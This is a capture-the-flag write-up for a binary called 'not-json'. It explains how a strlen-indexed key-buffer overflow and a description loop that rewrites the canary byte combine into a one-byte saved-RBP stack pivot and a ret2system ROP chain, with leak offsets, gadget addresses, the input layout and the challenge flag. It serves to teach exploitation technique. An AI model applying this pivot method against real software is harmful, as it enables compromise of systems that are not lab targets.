not-json
Two loops sharing one buffer compose: the key loop's overflow breaks the canary and the description loop's terminator repairs it, then one byte of saved RBP pivots the frame.
K17{b3cau$e_rbp_taste$_bett3r_th@n_key} nc chal.secso.cc 4003 · handout: chal + Dockerfile
My first full pass through this binary concluded it was not exploitable — the overflow reaches the canary and the return address, but both are guarded in a way that looked, on paper, airtight. That conclusion was wrong, and the reason it was wrong is the most useful thing in this writeup for anyone stuck on this challenge: it came from reasoning about the two parsing loops separately, instead of reading all the way through what they do to the same buffer when combined. If you’re stuck here, look specifically at what the description loop’s terminator does to bytes the key loop already damaged.
| item | value |
|---|---|
| Binary | chal (ELF64 PIE, not stripped, 16 KB) |
| Mitigations | Full RELRO / stack canary / NX / PIE — all on |
| libc | Debian bookworm glibc |
| Jail | redpwn/jail, JAIL_MEM=50M JAIL_PIDS=10 JAIL_TIME=300 |
| Bug class | off-by-many stack overflow via a strlen-indexed write |
| Technique | saved-RBP low-byte overwrite → stack pivot → ret2system |
1. Overview
A “looks like JSON but isn’t” parser. The grammar is { "key|description": { ... } }, and an object’s value must itself be an object, so the parser recurses. Every object reads a key and a description into a stack buffer and echoes both back.
Every mitigation is enabled, and no single bug reaches the return address directly. The solution does not target the return address at all — it changes one byte of the saved RBP instead, and uses that to redirect the stack frame onto a buffer we control.
2. Binary structure
Symbols are intact, so the layout is straightforward to recover. Four functions matter:
main() -> setup(); run_aligned(start)
run_aligned(fn) -> mov sp, 0 ; sub rsp, 0x20000 ; call fn <-- (!)
start() -> banner(512B stack buf); parse_json_object()
parse_json_object() -> do_parse_json_object(0)
do_parse_json_object(int depth)
char buf[40] @ rbp-0x30 <-- key AND description share this buffer
size_t i @ rbp-0x40
long ch @ rbp-0x38
char c @ rbp-0x41
int depth @ rbp-0x54
canary @ rbp-0x08 <-- buf[40] lands exactly here
2.1 The key loop (the bug)
loop:
if (i > 38) -> print_and_exit("Key is too long");
ch = getchar();
if (ch == -1) -> EOF;
if (ch == '|') -> break; /* key ends */
buf[ strlen(buf) ] = ch; /* (A) write at strlen */
i++;
if (isalnum(ch) || ch == '_') goto loop;
buf[ strlen(buf) - 1 ] = '_'; /* (B) sanitize */
i--; /* (C) !!! */
goto loop;
The bound is enforced on i. The actual write index is strlen(buf). Line (C) rewinds i for every non-alphanumeric character, so a run of non-alphanumeric bytes never consumes the length budget while still growing the string. That is an unbounded forward write.
2.2 The description loop
i = 0;
loop:
ch = getchar();
if (ch == -1) -> EOF;
if (ch == '"') -> goto done;
if (i > 39) -> print_and_exit("Description is too long");
buf[i] = ch; i++; /* 40 arbitrary bytes - NUL allowed! */
goto loop;
done:
buf[i] = 0; /* i <= 40 -> buf[40] = 0 */
This loop is correctly index-bounded on its own — capped at 40, no bug here in isolation. But it writes arbitrary bytes including NUL, and its terminator buf[i] = 0 can reach as far as buf[40]. That single detail is what makes the key-loop overflow survivable.
3. Nailing down the primitive
Because the write index is strlen(buf), the cursor always sits on the first NUL byte, and since nothing in this loop can create a new NUL, the cursor only ever moves forward. Each write does one of two things:
- alphanumeric / underscore:
buf[p] = ch, no side effect. Consumesi. Capped at 38 per key. - anything else:
buf[p] = chfollowed bybuf[strlen-1] = '_'. Does not consumei— unbounded — but overwrites the last byte of the following run with an underscore.
So the primitive is: write zero bytes only, forward only, at most 38 alphanumeric bytes without a side effect. At depth 0, the real memory layout behind the buffer is:
| offset | content | writable? |
|---|---|---|
| 0..39 | buf[40] | yes |
| 40 | canary byte 0 (always 0x00) | yes ← the only gateway |
| 41..47 | canary bytes 1..7 (random, non-zero) | no (inside a run) |
| 48..53 | saved rbp bytes 0..5 | no |
| 54, 55 | saved rbp bytes 6,7 (0x0000) | yes |
| 56..61 | return address bytes 0..5 | no ← the problem |
| 62, 63 | return address bytes 6,7 (0x0000) | yes |
Only the canonical-zero high halves of both pointers are reachable through this primitive alone. The meaningful low six bytes of the saved RBP and the return address both sit inside runs, and the sanitize side effect overwrites them with '_' the moment a write passes over them. The instant the cursor crosses offset 40, canary byte 0 is also destroyed — so a naive overflow both corrupts the canary and fails to reach anything useful past it. Evaluated only as far as this table, the challenge does look closed off.
4. The two observations that reverse that conclusion
4.1 The description terminator repairs the canary
The key overflow only damages canary byte 0. Bytes 41..47 sit inside a run and are never written by it. The description loop, in the same function, on the same buffer, writes buf[i] = 0 for i up to 40. Sending exactly 40 description bytes sets i to 40, restoring canary byte 0 to 0x00 as an ordinary side effect of terminating the string:
key : "...." x40 + <hop chars> + '|' -> canary[0] = chosen byte
desc : <arbitrary 40 bytes> + '"' -> buf[40] = 0 (canary restored)
-> frame can return normally!
The key and description loops share one buffer, and their two primitives — one damages a byte, the other unconditionally repairs that same byte as part of normal string termination — compose into “overflow, then pass the cookie check on the way out.”
4.2 run_aligned() makes stack addresses deterministic
run_aligned’s mov sp, 0 zeroes the low 16 bits of rsp, so the low 16 bits of every later stack frame are fixed regardless of ASLR. Unrolling the frame chain:
A' = (original rsp & ~0xFFFF) - 0x20000 /* verified empirically */
rbp_pjo = A' - 544 (parse_json_object)
rbp_0 = A' - 560 (do_parse_json_object depth 0)
rbp_d = A' - 560 - 112*d (depth d; frames are 112 bytes apart)
buf_d = rbp_d - 48
Since A' == 0 (mod 256):
rbp_d & 0xFF == 0 <=> 560 + 112*d == 0 (mod 256)
<=> 7*d == 13 (mod 16)
<=> d == 11 (mod 16)
d = 11 gives rbp_11 = A' - 1792, low 16 bits 0xF900 — byte 0 is 0x00, byte 1 is 0xF9. The saved RBP stored in depth 12’s frame (which is rbp_11) always has 0x00 as its lowest byte, on every run, regardless of ASLR. Overflowing from depth 12, the cursor — having just passed the canary — lands exactly on offset 48: saved RBP’s byte 0.
5. Exploit design
5.1 The pivot
At depth 12, write a single alphanumeric byte 'H' (0x48) at offset 48. Because that byte was zero, the parent’s rbp shifts by exactly +0x48. An alphanumeric byte is used specifically so the '_' side effect never fires, leaving canary bytes 1..7 and the return address intact.
depth 12 leave; pop rbp -> depth 11's rbp = rbp_11 + 0x48
(depth 12's canary repaired, its ret addr untouched)
when depth 11 meets '}' and returns:
canary check : [rbp' - 8] = rbp_11 + 64 = buf_10 + 0
leave : rsp = rbp' = buf_10 + 8
pop rbp <- buf_10[8:16]
ret <- buf_10[16:24] <=== control flow hijacked
buf_10 is depth 10’s description — 40 fully controlled bytes. Placing the leaked canary there satisfies the check, followed by the start of the ROP chain. The actual return address is never touched.
5.2 Leaks
Frames shallower than the pivot frame never return, so they can be overwritten freely:
depth 0 : key = '.'*40 + 'AAA' + '|'
-> the "Key: " printf spills buf_0[0..61]
[41:48] canary bytes 1..7 -> canary
[48:54] saved rbp (=rbp_pjo) -> A' = rbp_pjo + 544
[56:62] return address -> PIE base = ret - 0x161a
depth 1 : key = '.'*40 + 'A'*20 + '|'
-> reaches the parent frame's unused slots (puts() leftovers)
buf_1 + 88 = libc + 0x8ac33 -> libc base
Offsets 64/80/88 in depth 1 still hold libc pointers left behind by an earlier puts() call from start(). Using only alphanumeric hops reads those values back unmodified.
5.3 Laying out the ROP chain
Every gadget needed is already present in the binary, including one hidden inside an immediate operand:
pop rdi ; ret = pie + 0x11e8 /* inside the immediate 50015 == 0xc35f */
ret = pie + 0x11e9
leave ; ret = pie + 0x160a /* do_parse_json_object epilogue */
buf_10 (depth 10 description, 40 bytes) <- landing pad
[ 0: 8] canary (satisfies depth 11's cookie check)
[ 8:16] buf_9 (goes into pop rbp)
[16:24] leave ; ret -> re-pivot onto buf_9
[24:40] padding
buf_9 (depth 9 description, 40 bytes) <- the actual chain
[ 0: 8] junk (pop rbp)
[ 8:16] pop rdi ; ret
[16:24] &"/bin/sh" (libc + 0x1a6ea4)
[24:32] ret (16-byte stack realignment)
[32:40] system (libc + 0x53110)
Every buf_d is 16-byte aligned, so a bare ret is inserted to land rsp % 16 == 8 on entry to system, per the ABI.
5.4 Shape of the whole input
{ "<leak key>|x" : { "<leak key>|x" : { <- depth 0, 1 (leaks)
"k|x": { ... "k|<buf_9 chain>": { <- depth 9
"k|<buf_10 pad>": { <- depth 10
"k|x": { <- depth 11
"<pivot key>|<40 bytes>": {} <- depth 12 (rbp tweak)
} } } ...
}}} <- closing brace fires the pivot
6. Result
Obtained a shell against both the local Docker image and the remote (chal.secso.cc:4003). A canary byte landing on 0x00 or 0x22 (") breaks the run — roughly 5 % of the time — so the exploit wraps everything in a reconnect loop.
$ python3 exploit_notjson.py
pie 0x5d33a8f4a000
libc 0x7ff07d096000
A' 0x7ffd8b6f0000
uid=1000 gid=1000 groups=1000
K17{b3cau$e_rbp_taste$_bett3r_th@n_key}
The flag summarises the solution directly: “because rbp tastes better than key.” Focusing on the key buffer and the return address alone does not open this challenge — the path through it requires targeting the saved RBP instead.
7. Takeaways
- Conclusions of “not exploitable” reached from a summary of what two functions do, rather than reading their combined effect on the same buffer line by line, should be treated as provisional. Here, reading the full disassembly of both loops together — specifically what the second loop’s terminator does to bytes the first loop had already damaged — produced an immediate counterexample to the earlier conclusion.
- When two loops share one buffer, their primitives can compose. The key loop’s forward-only overflow and the description loop’s “exactly 40 bytes plus a NUL terminator” are each harmless in isolation; together they mean “overflow, then repair the cookie on the way out.”
- Unusual hardening choices are worth treating as hints.
mov sp, 0and the specific constant50015both signal something intentional: deterministic stack offsets, and apop rdi ; retgadget placed exactly where it’s needed. - The return address is not the only control-flow target available. A one-byte saved-RBP tweak relocates the parent frame onto a buffer of your choosing via
leave; ret. This is worth trying first whenever the write primitive available is too narrow to reach the return address directly.
Appendix. Reproduction
ctf/not-json/
notjson/chal target binary
exploit/exploit_notjson.py full exploit (--local runs it under docker)
exploit/libc.so.6 libc pulled from the pinned debian digest
FLAG.txt
cd ctf/not-json/exploit
python3 exploit_notjson.py # remote
python3 exploit_notjson.py --local # docker (needs the notjson-lean image)